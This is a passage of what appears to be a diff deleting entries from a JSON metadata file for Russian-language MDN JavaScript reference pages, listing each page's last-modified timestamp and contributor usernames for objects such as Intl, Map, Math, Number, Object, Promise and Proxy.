"2020-04-21T07:27:03.396Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/Collator/supportedLocalesOf": { - "modified": "2020-04-21T07:27:03.568Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat": { - "modified": "2020-11-07T18:13:37.841Z", - "contributors": [ - "Vladiatro", - "fscholz", - "Forshortmrmeth", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/format": { - "modified": "2020-04-21T09:00:46.926Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatToParts": { - "modified": "2020-10-15T22:22:57.636Z", - "contributors": [ - "fscholz", - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype": { - "modified": "2020-04-21T09:00:46.875Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/resolvedOptions": { - "modified": "2020-04-21T09:00:46.731Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/supportedLocalesOf": { - "modified": "2020-04-21T09:00:46.824Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/ListFormat": { - "modified": "2020-04-21T09:04:29.446Z", - "contributors": [ - "fscholz", - "Autapomorph" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat": { - "modified": "2020-10-15T21:30:31.049Z", - "contributors": [ - "fscholz", - "DmitryMakhnev", - "RUVATA", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format": { - "modified": "2020-04-21T09:08:24.301Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype": { - "modified": "2020-04-21T09:08:23.861Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/resolvedOptions": { - "modified": "2020-04-21T09:08:24.157Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/supportedLocalesOf": { - "modified": "2020-04-21T09:08:24.144Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/getCanonicalLocales": { - "modified": "2020-10-15T22:22:33.577Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/JSON": { - "modified": "2020-02-26T09:34:47.437Z", - "contributors": [ - "alexandersolovyov", - "deman", - "Mingun", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/JSON/parse": { - "modified": "2019-10-04T12:11:00.231Z", - "contributors": [ - "catsAND", - "Mingun", - "teoli", - "Grundy" - ] - }, - "Web/JavaScript/Reference/Global_Objects/JSON/stringify": { - "modified": "2020-10-15T21:31:10.984Z", - "contributors": [ - "art-gur", - "alerkesi", - "brykov", - "a-tarasyuk", - "Mingun", - "igorklopov84", - "fullfs" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map": { - "modified": "2020-10-15T21:31:18.471Z", - "contributors": [ - "altpoint", - "AndreyGlyan", - "fanich37", - "Dzvonek", - "teryaew", - "xobotyi", - "akmil", - "SphinxKnight", - "WispProxy", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/@@species": { - "modified": "2019-03-23T22:09:16.930Z", - "contributors": [ - "WispProxy", - "ahtohbi4" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/clear": { - "modified": "2019-03-23T22:11:36.456Z", - "contributors": [ - "thepocp" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/delete": { - "modified": "2020-10-15T21:50:15.883Z", - "contributors": [ - "xobotyi", - "ahtohbi4", - "vesai" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/entries": { - "modified": "2019-09-29T09:44:45.397Z", - "contributors": [ - "evvs", - "rsarov", - "ahtohbi4" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/forEach": { - "modified": "2020-10-15T21:49:44.007Z", - "contributors": [ - "swa1ps", - "trueanqu", - "SomeoneDeployMe" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/get": { - "modified": "2020-10-15T21:55:36.338Z", - "contributors": [ - "dimon4ezzz", - "AndreyLipin", - "ahtohbi4" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/has": { - "modified": "2019-03-23T22:18:58.841Z", - "contributors": [ - "Ignat86" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/keys": { - "modified": "2019-03-23T22:09:06.332Z", - "contributors": [ - "ahtohbi4" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/prototype": { - "modified": "2019-04-17T08:32:17.620Z", - "contributors": [ - "craby-c", - "SphinxKnight", - "Grinv" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/set": { - "modified": "2019-07-08T16:59:23.175Z", - "contributors": [ - "elrostov", - "InoY", - "ahtohbi4" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/size": { - "modified": "2020-11-28T13:51:01.575Z", - "contributors": [ - "ialexi-bl", - "Yumeiro", - "reilag" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map/values": { - "modified": "2019-03-23T22:09:12.314Z", - "contributors": [ - "ahtohbi4" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math": { - "modified": "2020-10-15T21:26:14.248Z", - "contributors": [ - "sashakrauzer", - "S-le", - "Sliokkory", - "KSH-audibene", - "boxa6", - "Nexmean", - "MrEfrem", - "Mingun", - "teoli", - "kolyuchii", - "Ladislas", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/E": { - "modified": "2019-03-23T23:02:51.965Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/LN10": { - "modified": "2019-03-23T23:06:02.231Z", - "contributors": [ - "Mingun", - "RyvkinSergey" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/LN2": { - "modified": "2019-03-23T23:02:57.181Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/LOG10E": { - "modified": "2019-03-23T23:02:52.129Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/LOG2E": { - "modified": "2019-03-23T23:03:01.940Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/PI": { - "modified": "2019-03-23T23:03:00.693Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2": { - "modified": "2019-03-23T23:03:03.049Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/SQRT2": { - "modified": "2019-03-23T23:03:04.344Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/abs": { - "modified": "2020-10-15T21:26:16.639Z", - "contributors": [ - "KiraTheFirebird", - "YozhEzhi", - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/acos": { - "modified": "2019-03-23T23:21:02.503Z", - "contributors": [ - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/acosh": { - "modified": "2019-03-23T23:20:43.526Z", - "contributors": [ - "SphinxKnight", - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/asin": { - "modified": "2019-03-23T23:20:44.722Z", - "contributors": [ - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/asinh": { - "modified": "2019-03-23T23:20:44.301Z", - "contributors": [ - "SphinxKnight", - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/atan": { - "modified": "2019-03-23T23:20:39.232Z", - "contributors": [ - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/atan2": { - "modified": "2019-03-23T23:02:49.535Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/atanh": { - "modified": "2019-03-23T23:02:48.791Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/cbrt": { - "modified": "2019-11-18T17:15:18.856Z", - "contributors": [ - "Yaffle", - "SphinxKnight", - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/ceil": { - "modified": "2019-04-20T08:11:10.933Z", - "contributors": [ - "YozhEzhi", - "Minstel", - "kontimir", - "slollo", - "vysheradugi4", - "oPOCCOMAXAo", - "MrEfrem", - "Mingun", - "vskopuk", - "js-user" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/clz32": { - "modified": "2019-03-23T23:02:49.692Z", - "contributors": [ - "SphinxKnight", - "Yaffle", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/cos": { - "modified": "2019-03-23T23:02:49.360Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/cosh": { - "modified": "2019-03-23T23:02:45.491Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/exp": { - "modified": "2019-03-23T23:02:39.529Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/expm1": { - "modified": "2019-03-23T23:02:41.113Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/floor": { - "modified": "2019-10-07T20:49:57.401Z", - "contributors": [ - "sashakrauzer", - "long76", - "Soheevich", - "oPOCCOMAXAo", - "MrEfrem", - "Mingun", - "sovietmagic" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/fround": { - "modified": "2019-03-18T20:50:54.153Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/hypot": { - "modified": "2019-03-23T23:21:18.612Z", - "contributors": [ - "SphinxKnight", - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/imul": { - "modified": "2019-03-23T23:02:47.878Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/log": { - "modified": "2019-03-23T23:02:39.934Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/log10": { - "modified": "2019-03-23T23:02:40.124Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/log1p": { - "modified": "2019-03-23T23:02:43.071Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/log2": { - "modified": "2020-10-15T21:32:32.809Z", - "contributors": [ - "art-gur", - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/max": { - "modified": "2020-01-23T12:52:57.037Z", - "contributors": [ - "Elivin", - "torbasow", - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/min": { - "modified": "2020-08-04T11:38:28.510Z", - "contributors": [ - "sergey.karavaev", - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/pow": { - "modified": "2019-03-23T23:02:42.644Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/random": { - "modified": "2020-10-15T21:30:33.217Z", - "contributors": [ - "ekirpichyov", - "Mitrr", - "Byte968", - "Flex301", - "Mingun", - "SandStorm" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/round": { - "modified": "2019-10-03T16:35:58.416Z", - "contributors": [ - "YozhEzhi", - "it4joy", - "Mingun", - "bungu" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/sign": { - "modified": "2019-03-23T23:21:05.525Z", - "contributors": [ - "SphinxKnight", - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/sin": { - "modified": "2019-03-23T23:02:45.848Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/sinh": { - "modified": "2019-03-23T23:02:41.582Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/sqrt": { - "modified": "2019-03-23T23:21:16.252Z", - "contributors": [ - "Maxim-Bernashevsky", - "Mingun", - "teoli", - "Ladislas" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/tan": { - "modified": "2019-03-23T23:02:44.705Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/tanh": { - "modified": "2019-03-23T23:02:37.791Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/trunc": { - "modified": "2020-10-15T21:32:38.007Z", - "contributors": [ - "opereverzeva", - "dkireev", - "SphinxKnight", - "vitaliylag", - "Danakt", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/Метод_Math.max()_": { - "modified": "2019-03-23T22:37:24.165Z", - "contributors": [ - "srvoland" - ] - }, - "Web/JavaScript/Reference/Global_Objects/NaN": { - "modified": "2020-10-15T21:29:55.593Z", - "contributors": [ - "kss555", - "boxa6", - "Gamesurf", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number": { - "modified": "2020-10-15T21:26:52.210Z", - "contributors": [ - "chrisdavidmills", - "boxa6", - "wbamberg", - "peremenov", - "Mingun", - "teoli", - "Softarius" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/EPSILON": { - "modified": "2019-08-25T14:04:12.302Z", - "contributors": [ - "Yialo", - "biggieman", - "nakhodkiin", - "msalv", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER": { - "modified": "2020-10-15T21:30:30.029Z", - "contributors": [ - "bm12", - "art-gur", - "Yialo", - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE": { - "modified": "2019-03-23T23:08:20.580Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER": { - "modified": "2019-08-25T14:03:53.234Z", - "contributors": [ - "Yialo", - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE": { - "modified": "2019-03-23T23:08:15.441Z", - "contributors": [ - "evheniy", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY": { - "modified": "2019-03-23T23:08:17.933Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/NaN": { - "modified": "2019-03-23T23:08:14.519Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY": { - "modified": "2019-03-23T23:08:18.273Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/isFinite": { - "modified": "2019-03-23T23:08:18.639Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/isInteger": { - "modified": "2020-10-15T21:30:30.076Z", - "contributors": [ - "art-gur", - "Yialo", - "SphinxKnight", - "parzhitsky", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/isNaN": { - "modified": "2020-10-15T21:30:30.857Z", - "contributors": [ - "JorJeG", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger": { - "modified": "2020-10-19T11:46:39.542Z", - "contributors": [ - "alekskos", - "art-gur", - "Yialo", - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/parseFloat": { - "modified": "2019-08-25T14:06:12.145Z", - "contributors": [ - "Yialo", - "SphinxKnight", - "KP0H", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/parseInt": { - "modified": "2020-10-15T21:30:29.202Z", - "contributors": [ - "Yialo", - "Fantomhaiv", - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/prototype": { - "modified": "2019-03-23T23:08:18.833Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/toExponential": { - "modified": "2019-03-23T23:08:19.764Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/toFixed": { - "modified": "2019-03-28T09:45:17.325Z", - "contributors": [ - "ch-ms", - "stravin", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/toLocaleString": { - "modified": "2020-10-15T21:30:32.073Z", - "contributors": [ - "vanyaErohin", - "mois-ilya", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/toPrecision": { - "modified": "2019-08-25T14:12:47.425Z", - "contributors": [ - "Yialo", - "while0pass", - "nakhodkiin", - "ZeroUnderscoreOu", - "KiraGolub", - "an2323", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/toSource": { - "modified": "2019-08-25T13:48:33.955Z", - "contributors": [ - "Yialo", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/toString": { - "modified": "2019-06-28T18:11:40.311Z", - "contributors": [ - "Yialo", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/valueOf": { - "modified": "2019-03-23T23:08:15.896Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object": { - "modified": "2019-08-26T11:37:18.396Z", - "contributors": [ - "Yialo", - "wbamberg", - "Natalya_Surikova", - "Mingun", - "teoli", - "pashak" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__": { - "modified": "2019-03-23T23:11:22.223Z", - "contributors": [ - "Mingun", - "OleksandrPapchenko" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__": { - "modified": "2019-03-23T23:10:17.035Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__": { - "modified": "2019-03-23T23:10:22.177Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__": { - "modified": "2019-03-23T23:10:20.796Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/assign": { - "modified": "2020-10-15T21:29:38.981Z", - "contributors": [ - "YozhEzhi", - "GraceAredel", - "icw82", - "chulanovskyi", - "BaNru", - "e-omo", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/constructor": { - "modified": "2019-03-23T23:10:17.901Z", - "contributors": [ - "Natalya_Surikova", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/create": { - "modified": "2020-10-15T21:28:49.512Z", - "contributors": [ - "dmarkin", - "Simaleon", - "Akh-rman", - "yedyharova", - "workonika", - "vinogradov", - "Aleksej", - "RinatMullayanov", - "vvwind", - "Mingun", - "SnowLeo" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/defineProperties": { - "modified": "2019-03-23T23:09:30.861Z", - "contributors": [ - "tankakatan", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/defineProperty": { - "modified": "2019-03-23T23:37:49.274Z", - "contributors": [ - "tourman", - "iSokrat", - "gibson", - "RumyantsevMichael", - "uniqueusr", - "Mingun", - "Natalya_Surikova", - "Anton_Arestov", - "akhabibullina", - "teoli", - "dunmaksim", - "my8bit", - "Selvatico" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/entries": { - "modified": "2020-10-15T21:41:30.272Z", - "contributors": [ - "cloudofgeorge", - "KolesnikovR", - "SpawnLeon", - "YozhEzhi", - "Akh-rman", - "fscholz", - "bobberr", - "XaveScor", - "uazure", - "curdwithraisins", - "risentveber", - "Grinv" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/freeze": { - "modified": "2020-10-15T21:30:06.043Z", - "contributors": [ - "YozhEzhi", - "WispProxy", - "kdex", - "pk.prog", - "chayn1k", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/fromEntries": { - "modified": "2020-10-15T22:14:28.772Z", - "contributors": [ - "ekirpichyov", - "Autapomorph", - "Akh-rman" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor": { - "modified": "2019-03-24T00:14:06.824Z", - "contributors": [ - "Mingun", - "teoli", - "pashak" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors": { - "modified": "2020-10-15T22:14:28.295Z", - "contributors": [ - "Akh-rman" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames": { - "modified": "2020-10-15T21:30:07.880Z", - "contributors": [ - "YozhEzhi", - "nakhodkiin", - "tourman", - "VsevolodTrofimov", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols": { - "modified": "2020-10-15T21:30:06.924Z", - "contributors": [ - "nakhodkiin", - "SphinxKnight", - "Mingun", - "schyzoo" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf": { - "modified": "2019-03-23T23:09:23.592Z", - "contributors": [ - "tonyganch", - "Mingun", - "Natalya_Surikova" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": { - "modified": "2020-10-15T21:21:02.788Z", - "contributors": [ - "Roman-Kosov", - "ihoru", - "Mingun", - "teoli", - "Nick_Pershin", - "nurbek.ab" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/is": { - "modified": "2020-10-15T21:26:43.137Z", - "contributors": [ - "YozhEzhi", - "SphinxKnight", - "Mingun", - "teoli", - "Romanzes", - "franza" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/isExtensible": { - "modified": "2019-10-09T12:01:13.252Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/isFrozen": { - "modified": "2020-10-15T21:30:08.003Z", - "contributors": [ - "YozhEzhi", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf": { - "modified": "2020-02-04T15:23:51.484Z", - "contributors": [ - "bagau", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/isSealed": { - "modified": "2019-10-09T11:11:04.447Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/keys": { - "modified": "2020-10-15T21:30:08.678Z", - "contributors": [ - "zhvirblis", - "kdex", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/preventExtensions": { - "modified": "2020-10-15T21:30:08.070Z", - "contributors": [ - "YozhEzhi", - "serzero2007", - "nakhodkiin", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable": { - "modified": "2019-03-23T23:09:13.597Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/proto": { - "modified": "2020-10-15T21:29:34.357Z", - "contributors": [ - "YozhEzhi", - "Sajag", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/prototype": { - "modified": "2020-03-13T11:04:21.413Z", - "contributors": [ - "fishr-flash", - "AMurkin", - "Mingun", - "teoli", - "kreshikhin" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/seal": { - "modified": "2020-10-15T21:30:09.594Z", - "contributors": [ - "YozhEzhi", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf": { - "modified": "2019-09-11T03:19:06.537Z", - "contributors": [ - "Ichiru123", - "SphinxKnight", - "oziian", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/toLocaleString": { - "modified": "2019-09-20T08:30:13.696Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/toSource": { - "modified": "2020-10-15T21:30:13.861Z", - "contributors": [ - "boxa6", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/toString": { - "modified": "2020-10-15T21:30:10.362Z", - "contributors": [ - "ekirpichyov", - "IvanMorkva", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/valueOf": { - "modified": "2019-03-23T23:15:16.213Z", - "contributors": [ - "Haosik", - "Natalya_Surikova", - "Mingun", - "teoli", - "mixture" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/values": { - "modified": "2020-10-15T21:50:11.196Z", - "contributors": [ - "ekirpichyov", - "Yialo", - "XaveScor", - "Biblbrox", - "nllsdfx", - "ozknemoy" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise": { - "modified": "2020-10-15T21:29:45.619Z", - "contributors": [ - "YuriSn", - "gudkovdanila", - "YozhEzhi", - "alok1", - "AliaksandrZahorski", - "jwhitlock", - "ugncry", - "Geloosa", - "RinatMullayanov", - "AlexKhram", - "applicab", - "prettyGoo", - "dtretyakov", - "Chudesnov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/all": { - "modified": "2020-10-15T21:33:26.483Z", - "contributors": [ - "BakrID", - "YozhEzhi", - "nudaworks", - "rutsky", - "NikIvan", - "AlexKhram", - "Crazymax11", - "f0rmat1k", - "axilirator" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/allSettled": { - "modified": "2020-10-15T22:22:39.384Z", - "contributors": [ - "Neiromaster", - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/any": { - "modified": "2020-10-15T22:27:25.562Z", - "contributors": [ - "ArkadiiRaih" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/catch": { - "modified": "2020-10-15T21:48:47.444Z", - "contributors": [ - "IgorCH", - "tirli", - "vitya-ne", - "torbasow", - "sergey-shambir", - "LopatkinEvgeniy", - "AlexKhram" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/finally": { - "modified": "2020-10-15T22:01:51.236Z", - "contributors": [ - "kir.gimranov", - "mshipov", - "RussianPhotoGraf", - "IhnatsiS", - "NoviceBlunderer", - "Zudwa", - "x1unix" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/prototype": { - "modified": "2019-10-16T18:35:40.649Z", - "contributors": [ - "tsimafey", - "viosng", - "alexicum", - "AlexKhram" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/race": { - "modified": "2020-10-15T21:39:40.095Z", - "contributors": [ - "asamofal", - "nakhodkiin", - "fscholz", - "nudaworks", - "hawker000", - "thedoctorde", - "AlexKhram", - "forsage" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/reject": { - "modified": "2020-10-15T21:39:33.387Z", - "contributors": [ - "sergey-shambir", - "fscholz", - "Buggytheclown", - "0xff00ff", - "AlexKhram", - "UnikZ" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/resolve": { - "modified": "2020-10-15T21:48:52.330Z", - "contributors": [ - "gusakmarina", - "nudaworks", - "AlexKhram", - "ball00n" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/then": { - "modified": "2020-11-03T18:52:52.359Z", - "contributors": [ - "fanich37", - "smlkA", - "YozhEzhi", - "Kesantielu", - "andreymir", - "AlexKhram", - "LeoVS09", - "ksladkov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Proxy": { - "modified": "2020-11-17T05:36:00.208Z", - "contributors": [ - "kosarev_va", - "sivashev", - "xurshidbekjonwin", - "lmjavascriptprogrammer", - "boxa6", - "DonikaV", - "nakhodkiin", - "Andrey-Bushman", - "kdex", - "torbasow", - "dtretyakov", - "im7mortal" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy": { - "modified": "2020-11-16T16:36:02.171Z", - "contributors": [ - "mfuji09" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply": { - "modified": "2020-11-18T06:41:35.789Z", - "contributors": [ - "kosarev_va" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get": { - "modified": "2020-11-17T05:45:02.908Z", - "contributors": [ - "kosarev_va" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler": { - "modified": "2020-11-18T06:44:17.889Z", - "contributors": [ - "kosarev_va", - "SphinxKnight" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty": { - "modified": "2020-10-15T22:14:52.334Z", - "contributors": [ - "smlkA" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/set": { - "modified": "2020-11-17T05:50:39.778Z", - "contributors": [ - "kosarev_va", - "Vilafox" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Proxy/revocable": { - "modified": "2020-10-15T22:01:47.719Z", - "contributors": [ - "HarmlessEvil" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RangeError": { - "modified": "2019-03-23T23:08:28.070Z", - "contributors": [ - "Mingun", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RangeError/prototype": { - "modified": "2019-03-23T23:08:28.689Z", - 